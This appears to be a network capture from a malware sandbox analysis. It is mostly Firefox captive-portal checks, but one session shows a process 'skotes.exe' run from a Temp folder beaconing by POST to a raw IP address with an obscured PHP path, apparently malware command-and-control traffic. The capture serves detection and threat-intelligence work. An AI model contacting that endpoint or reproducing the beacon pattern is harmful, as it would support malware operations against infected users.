Nov 18, 2024 04:43:34.883590937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:35.013205051 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79548 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:35.590044022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:35.715071917 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79549 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:36.219135046 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:36.344269991 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79550 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:40.134053946 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:40.262723923 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79554 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:50.328782082 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:43:50.785015106 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:50.911549091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79564 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:00.921454906 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:44:03.545423985 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:03.670691967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79577 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:04.157438040 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:04.282569885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79578 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:11.445426941 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:11.573040962 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79585 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:16.524703979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:16.651113987 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79590 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:19.447947979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:19.574482918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79593 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:29.625286102 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:44:33.858685017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:33.985301018 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79607 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:34.483058929 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:34.608377934 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79608 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:44:44.620388985 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:44:52.374336958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:44:52.501148939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79626 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:45:02.528372049 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:12.624226093 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:22.720587969 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:32.817321062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:42.828911066 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:52.923346996 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:46:13.380640030 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:46:13.507251978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79707 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:46:35.476849079 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:46:35.603295088 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79729 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:46:36.091938019 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:46:36.217031956 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79730 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	64871	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:34.194564104 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	64874	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:34.443757057 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	64875	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:34.864903927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	64881	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:35.130863905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:36.021945953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	64882	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:35.131170034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	64885	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:35.725692034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:36.331959963 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48756 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:43:36.348887920 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:36.475404978 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48756 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:43:40.265997887 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:40.392618895 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48760 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:43:50.429492950 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:43:50.916584015 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:43:51.044147015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48770 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:01.122724056 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:44:03.674280882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:03.802330017 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48783 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:04.286897898 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:04.413547993 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48784 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:11.586782932 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:11.713670969 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48791 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:16.655512094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:16.782430887 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48796 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:19.578368902 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:19.705853939 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48799 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:29.726013899 CET	6	OUT	Data Raw: 00 Data Ascii:
